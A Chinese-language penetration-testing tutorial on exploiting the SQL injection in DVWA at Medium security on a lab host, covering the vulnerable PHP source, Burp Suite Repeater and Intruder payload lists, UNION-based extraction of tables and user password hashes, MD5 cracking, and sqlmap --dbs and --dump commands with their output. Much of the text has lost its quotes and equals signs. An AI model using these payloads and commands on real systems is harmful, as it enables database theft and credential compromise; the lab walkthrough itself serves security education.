
文章目录1. 环境准备1.1 获取 Session Cookie2. Medium 安全级别源码分析2.1 源码2.2 Low vs Medium 关键变化2.3 防护机制分析mysqli_real_escape_string()2.4 漏洞分析为什么 Medium 仍然可被注入3. Burp Suite 自动化注入测试3.1 环境准备3.1.1 启动 Burp Suite3.1.2 配置浏览器代理3.1.3 登录 DVWA3.2 拦截并修改请求3.2.1 启动拦截3.2.2 查看拦截的请求3.2.3 第一次修改判断注入点3.3 使用 Repeater 进行快速测试3.3.1 发送请求到 Repeater3.3.2 确定字段数3.3.3 联合查询测试3.4 使用 Intruder 进行自动化批量测试3.4.1 发送请求到 Intruder3.4.2 配置 Payload 位置3.4.3 选择攻击类型3.4.4 配置 Payload 列表3.4.5 配置 Grep 匹配可选3.4.6 启动攻击3.4.7 分析攻击结果3.4.8 查看具体响应3.5 获取数据库信息3.5.1 获取数据库名3.5.2 获取数据库版本3.5.3 获取数据库用户3.5.4 获取表名处理字符集冲突3.5.5 获取列名3.5.6 获取用户数据3.5.7 密码破解MD53.6 Burp Suite 注入测试总结3.6.1 使用到的 Burp 模块3.6.2 关键快捷键3.6.3 Burp 测试 vs 手工测试4. Sqlmap 自动化注入4.1 Medium 级别的 Sqlmap 命令变化4.2 步骤 1枚举所有数据库4.3 步骤 2枚举表名4.4 步骤 3获取列名4.5 步骤 4导出数据并破解密码4.6 Medium 注入点详情4.7 sqlmap 命令汇总1. 环境准备1.1 获取 Session Cookie按F12打开开发者工具点击Network网络/Application应用标签找到 Cookie 信息示例 CookiePHPSESSIDeoi3eg7u1s1jpm4sp14dtlfo37; securitymedium注意与 Low 级别不同Cookie 中的securitymedium2. Medium 安全级别源码分析在开始注入之前先查看 Medium 级别的 PHP 源码分析防护机制和漏洞点。2.1 源码?phpif(isset($_POST[id])){$id$_POST[id];$idmysqli_real_escape_string($GLOBALS[___mysqli_ston],$id);$querySELECT first_name, last_name FROM users WHERE user_id $id;;$resultmysqli_query($GLOBALS[___mysqli_ston],$query)ordie(pre.mysqli_error($GLOBALS[___mysqli_ston])./pre);while($rowmysqli_fetch_assoc($result)){echopreID:{$id}br /First name:{$row[first_name]}br /Surname:{$row[last_name]}/pre;}}?2.2 Low vs Medium 关键变化特性LowMedium请求方法GET$_GET[id]POST$_POST[id]输入过滤无任何过滤mysqli_real_escape_string()输入交互文本框下拉菜单SelectSQL 查询WHERE user_id $idWHERE user_id $id2.3 防护机制分析mysqli_real_escape_string()mysqli_real_escape_string()是 MySQL 提供的转义函数它会转义以下特殊字符字符转义后\\\\\\0\\0NULL\n\\n换行\r\\r回车2.4 漏洞分析为什么 Medium 仍然可被注入关键发现虽然 Medium 使用mysqli_real_escape_string()转义了输入但存在以下可绕过的问题user_id没有用引号包裹数字型注入-- Medium 的 SQL 语句SELECTfirst_name,last_nameFROMusersWHEREuser_id$id;↑ 没有引号-- Low 的 SQL 语句有引号SELECTfirst_name,last_nameFROMusersWHEREuser_id$id;mysqli_real_escape_string()只转义字符串中的引号对数字型注入无效转义函数主要防止字符串中的单引号闭合在数字型上下文中注入语句不需要引号转义无效下拉菜单可被绕过虽然页面将输入方式从文本框改为下拉菜单但攻击者可以直接构造 POST 请求绕过前端限制结论Medium 的防护对数字型 SQL 注入完全不生效。3. Burp Suite 自动化注入测试由于 Medium 使用 POST 方法传参手工注入需要逐个构造请求效率低下。本文使用Burp Suite Professional进行自动化注入测试效率提升 10 倍以上。3.1 环境准备3.1.1 启动 Burp SuiteStart-ProcessC:\Users\Administrator\AppData\Local\Programs\BurpSuitePro\BurpSuitePro.exe3.1.2 配置浏览器代理打开浏览器推荐 Chrome 或 Firefox安装 FoxyProxy 或手动配置代理代理地址127.0.0.1代理端口8080访问http://burp测试代理是否生效应显示 Burp 欢迎页面3.1.3 登录 DVWA浏览器访问http://192.168.0.107/DVWA/输入账号密码用户名admin密码admin点击左侧菜单SQL Injection3.2 拦截并修改请求3.2.1 启动拦截在 Burp Suite 中点击顶部Proxy标签确保Intercept is on按钮已开启红色刷新 DVWA 的 SQL Injection 页面Burp 会拦截到 POST 请求3.2.2 查看拦截的请求拦截到的原始请求如下POST /DVWA/vulnerabilities/sqli/ HTTP/1.1 Host: 192.168.0.107 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Content-Type: application/x-www-form-urlencoded Content-Length: 24 Cookie: PHPSESSIDxxx; securitymedium id1SubmitSubmit关键字段说明字段说明POST请求方法Medium 使用 POST/DVWA/vulnerabilities/sqli/SQL 注入模块路径id1注入点参数Cookie包含会话 ID 和安全级别3.2.3 第一次修改判断注入点将id1修改为id1 or 11POST /DVWA/vulnerabilities/sqli/ HTTP/1.1 Host: 192.168.0.107 Content-Type: application/x-www-form-urlencoded Content-Length: 24 Cookie: PHPSESSIDxxx; securitymedium id1 or 11SubmitSubmit点击Forward按钮发送请求。查看响应点击Proxy → HTTP history找到刚才的请求在右侧Response标签查看返回内容预期结果preID: 1 or 11 First name: admin Surname: admin/prepreID: 1 or 11 First name: Gordon Surname: Brown/prepreID: 1 or 11 First name: Hack Surname: Me/prepreID: 1 or 11 First name: Pablo Surname: Picasso/prepreID: 1 or 11 First name: Bob Surname: Smith/pre结论返回了 5 条用户记录说明存在 SQL 注入漏洞。3.3 使用 Repeater 进行快速测试3.3.1 发送请求到 Repeater在拦截的请求上右键 →Send to Repeater或按CtrlR点击顶部Repeater标签3.3.2 确定字段数在 Repeater 的请求面板中修改id参数测试 1id1 order by 3#SubmitSubmit点击Send按钮查看响应pYou have an error in your SQL syntax; ... near 3# at line 1/p测试 2id1 order by 2#SubmitSubmit点击Send按钮查看响应preID: 1 order by 2# First name: admin Surname: admin/pre结论查询语句包含2 个字段order by 3报错order by 2正常3.3.3 联合查询测试测试语句id-1 union select 1,2SubmitSubmit响应结果preID: -1 union select 1,2 First name: 1 Surname: 2/pre结论该注入点支持 UNION 查询且有 2 列可用于数据提取。3.4 使用 Intruder 进行自动化批量测试3.4.1 发送请求到 Intruder在 Repeater 中右键请求 →Send to Intruder或按CtrlI点击顶部Intruder标签3.4.2 配置 Payload 位置点击Positions子标签Burp 会自动用§标记所有参数id§1§Submit§Submit§点击Clear §清除所有标记手动标记id参数的值id§1§SubmitSubmit3.4.3 选择攻击类型在Attack type下拉框中选择Sniper推荐单个 payload 逐个测试适合快速检测注入点3.4.4 配置 Payload 列表点击Payloads子标签在Payload Options区域添加以下 SQL 注入测试 payload1 or 11 1 order by 1# 1 order by 2# 1 order by 3# 1 order by 4# -1 union select 1,2 -1 union select 1,database() -1 union select 1,version -1 union select 1,user() 1 and sleep(5) 1 and 11 1 and 12快速添加方法点击Load…按钮选择文件D:\Programs\burp_sqlmap_payloads.txt所有 payload 会自动加载3.4.5 配置 Grep 匹配可选点击Settings子标签展开Grep - Match勾选或添加以下关键词You have an error in your SQL syntaxUnknown columnFirst name:Surname:这样 Burp 会自动统计每个响应中包含这些关键词的次数。3.4.6 启动攻击点击右上角Start attack按钮。3.4.7 分析攻击结果Burp 会打开一个新窗口显示攻击结果#PayloadStatusLengthTimeGrep-Match01200517012ms211 or 11200543815ms1021 order by 1#200518213ms231 order by 2#200518214ms241 order by 3#20043711ms051 order by 4#20043610ms06-1 union select 1,2200517916ms27-1 union select 1,database()200519118ms28-1 union select 1,version200519217ms29-1 union select 1,user()200519719ms2101 and sleep(5)20051105012ms2111 and 11200517714ms2121 and 12200511013ms0结果分析技巧按 Length 排序点击 Length 列标题长度明显变长5438→ 注入成功返回更多数据长度骤减436-437→ SQL 报错按 Time 排序点击 Time 列标题响应时间明显增加5000ms→ 时间盲注成功按 Grep-Match 排序匹配数为 0 → 可能报错匹配数异常 → 可能注入成功3.4.8 查看具体响应点击任意一行如1 or 11在右侧Response标签查看完整响应切换到Render标签查看渲染后的页面3.5 获取数据库信息3.5.1 获取数据库名在 Repeater 中测试id-1 union select 1,database()SubmitSubmit响应结果preID: -1 union select 1,database() First name: 1 Surname: dvwa/pre结论数据库名为dvwa3.5.2 获取数据库版本id-1 union select 1,versionSubmitSubmit响应结果Surname: 5.7.263.5.3 获取数据库用户id-1 union select 1,user()SubmitSubmit响应结果Surname: dvwalocalhost信息汇总信息结果数据库名dvwaMySQL 版本5.7.26当前用户dvwalocalhost3.5.4 获取表名处理字符集冲突直接查询会报错id-1 union select 1,group_concat(table_name) from information_schema.tables where table_schemadatabase()SubmitSubmit错误信息Illegal mix of collations for operation UNION解决方案使用 HEX 编码id-1 union select 1,hex(group_concat(table_name)) from information_schema.tables where table_schemadatabase()SubmitSubmit响应结果Surname: 7573657273十六进制解码75 73 65 72 73 → users结论dvwa 数据库有 1 个表users3.5.5 获取列名id-1 union select 1,hex(group_concat(column_name)) from information_schema.columns where table_name0x7573657273SubmitSubmit响应结果十六进制757365725F69642C66697273745F6E616D652C6C6173745F6E616D652C757365722C70617373776F72642C6176617461722C6C6173745F6C6F67696E2C6661696C65645F6C6F67696E解码结果user_id,first_name,last_name,user,password,avatar,last_login,failed_loginusers 表结构列名含义user_id用户 IDfirst_name名last_name姓user用户名password密码MD5avatar头像last_login最后登录failed_login失败登录次数3.5.6 获取用户数据id-1 union select 1,hex(group_concat(user,0x3a,password)) from usersSubmitSubmit响应结果十六进制61646D696E3A3231323332663239376135376135613734333839346130653461383031666333, 676F72646F6E623A6539396131386334323863623338643566323630383533363738393232653033, 3133373A3864333533336437356165326333393636643765306434666363363932313662, 7061626C6F3A3064313037643039663562626534306361646533646535633731653965396237, 736D697468793A3566346463633362356161373635643631643833323764656238383263663939解码结果admin:21232f297a57a5a743894a0e4a801fc3 gordonb:e99a18c428cb38d5f260853678922e03 1337:8d3533d75ae2c3966d7e0d4fcc69216b pablo:0d107d09f5bbe40cade3de5c71e9e9b7 smithy:5f4dcc3b5aa765d61d8327deb882cf993.5.7 密码破解MD5使用在线 MD5 解密工具或本地字典破解用户名MD5 哈希明文密码admin21232f297a57a5a743894a0e4a801fc3admingordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password3.6 Burp Suite 注入测试总结3.6.1 使用到的 Burp 模块模块用途使用频率Proxy拦截和修改请求⭐⭐⭐⭐⭐Repeater手动重放和测试单个 payload⭐⭐⭐⭐Intruder批量自动化测试⭐⭐⭐⭐⭐HTTP history查看历史请求和响应⭐⭐⭐⭐Target查看站点地图⭐⭐⭐3.6.2 关键快捷键快捷键功能CtrlR发送请求到 RepeaterCtrlI发送请求到 IntruderCtrlEnter在 Repeater 中发送请求CtrlU对 URL 进行 URL 解码3.6.3 Burp 测试 vs 手工测试对比项手工测试JavaScriptBurp Suite 测试配置复杂度中需要写脚本低图形界面测试效率低逐个测试高批量自动化结果分析困难需要手动查看简单自动排序和过滤可重复性差每次重新写脚本好保存配置和 payload学习曲线陡峭平缓推荐度⭐⭐⭐⭐⭐⭐⭐4. Sqlmap 自动化注入4.1 Medium 级别的 Sqlmap 命令变化与 Low 级别不同Medium 使用 POST 方法需要用--data参数代替 URL 参数# Low 命令GET 方式sqlmap-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/?id1SubmitSubmit--cookie...# Medium 命令POST 方式sqlmap-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/--dataid1SubmitSubmit--cookie...4.2 步骤 1枚举所有数据库命令python sqlmap.py-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/--dataid1SubmitSubmit--cookiePHPSESSIDeoi3eg7u1s1jpm4sp14dtlfo37; securitymedium--dbs--batch参数详解参数说明-u目标 URL不含参数--dataPOST 请求体的参数--cookie认证 Cookiesecuritymedium--dbs枚举所有数据库--batch对所有问题自动选择默认答案执行结果[21:04:04] [INFO] testing connection to the target URL [21:04:04] [INFO] checking if the target is protected by some kind of WAF/IPS [21:04:04] [INFO] testing if the target URL content is stable [21:04:04] [INFO] target URL content is stable [21:04:04] [INFO] testing if POST parameter id is dynamic [21:04:04] [WARNING] POST parameter id does not appear to be dynamic [21:04:04] [INFO] heuristic (basic) test shows that POST parameter id might be injectable (possible DBMS: MySQL) [21:04:05] [INFO] POST parameter id appears to be Boolean-based blind - Parameter replace (original value) injectable [21:04:05] [INFO] POST parameter id is MySQL 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE) injectable [21:04:16] [INFO] POST parameter id appears to be MySQL 5.0.12 AND time-based blind (query SLEEP) injectable [21:04:16] [INFO] target URL appears to have 2 columns in query [21:04:16] [INFO] POST parameter id is Generic UNION query (NULL) - 1 to 20 columns injectable web server operating system: Windows web application technology: PHP 7.3.4, Apache 2.4.39 back-end DBMS: MySQL 5.1 available databases [2]: [*] dvwa [*] information_schema4.3 步骤 2枚举表名命令python sqlmap.py-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/--dataid1SubmitSubmit--cookiePHPSESSIDeoi3eg7u1s1jpm4sp14dtlfo37; securitymedium-D dvwa--tables--batch执行结果Database: dvwa [1 table] ------- | users | -------4.4 步骤 3获取列名命令python sqlmap.py-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/--dataid1SubmitSubmit--cookiePHPSESSIDeoi3eg7u1s1jpm4sp14dtlfo37; securitymedium-D dvwa-T users--columns--batch执行结果Database: dvwa Table: users [8 columns] --------------------------- | Column | Type | --------------------------- | user_id | int(6) | | first_name | varchar(15) | | last_name | varchar(15) | | user | varchar(15) | | password | varchar(32) | | avatar | varchar(70) | | last_login | timestamp | | failed_login | int(3) | ---------------------------4.5 步骤 4导出数据并破解密码命令python sqlmap.py-uhttp://192.168.0.107/DVWA/vulnerabilities/sqli/--dataid1SubmitSubmit--cookiePHPSESSIDeoi3eg7u1s1jpm4sp14dtlfo37; securitymedium-D dvwa-T users--dump--batch执行结果[21:05:04] [INFO] recognized possible password hashes in column password [21:05:04] [INFO] using hash method md5_generic_passwd [21:05:16] [INFO] cracked password admin for hash 21232f297a57a5a743894a0e4a801fc3 [21:05:19] [INFO] cracked password abc123 for hash e99a18c428cb38d5f260853678922e03 [21:05:23] [INFO] cracked password charley for hash 8d3533d75ae2c3966d7e0d4fcc69216b [21:05:32] [INFO] cracked password letmein for hash 0d107d09f5bbe40cade3de5c71e9e9b7 [21:05:35] [INFO] cracked password password for hash 5f4dcc3b5aa765d61d8327deb882cf99破解结果汇总用户名MD5 哈希明文密码admin21232f297a57a5a743894a0e4a801fc3admingordonbe99a18c428cb38d5f260853678922e03abc12313378d3533d75ae2c3966d7e0d4fcc69216bcharleypablo0d107d09f5bbe40cade3de5c71e9e9b7letmeinsmithy5f4dcc3b5aa765d61d8327deb882cf99password4.6 Medium 注入点详情Sqlmap 在 Medium 级别发现了4 种注入技术编号注入类型技术名称原理1Boolean-based blind布尔盲注 - 参数替换通过替换原始参数值根据页面返回差异判断2Error-based错误注入 - EXTRACTVALUE利用 MySQL EXTRACTVALUE 函数错误回显数据3Time-based blind时间盲注 - SLEEP利用 SLEEP 函数造成延迟判断注入结果4UNION query联合查询 - 2列使用 UNION SELECT 直接获取数据Payload 示例# Boolean-based blind Payload: id(SELECT (CASE WHEN (24122412) THEN 1 ELSE (SELECT 4928 UNION SELECT 3989) END)) # Error-based Payload: id1 AND EXTRACTVALUE(1063,CONCAT(0x5c,0x71716b6b71,(SELECT (ELT(10631063,1))),0x71716a6b71)) # Time-based blind Payload: id1 AND (SELECT 2496 FROM (SELECT(SLEEP(5)))ePiS) # UNION query Payload: id1 UNION ALL SELECT CONCAT(0x71716b6b71,...),NULL-- -4.7 sqlmap 命令汇总命令作用--dataid1SubmitSubmit发送 POST 请求体--cookiePHPSESSID...; securitymedium认证和级别配置--dbs枚举所有数据库-D dvwa --tables枚举指定数据库的表-D dvwa -T users --columns枚举指定表的列-D dvwa -T users --dump导出数据并自动破解密码--batch自动确认非交互模式免责声明本文内容仅用于安全教育和授权渗透测试请勿将所学技术用于非法用途。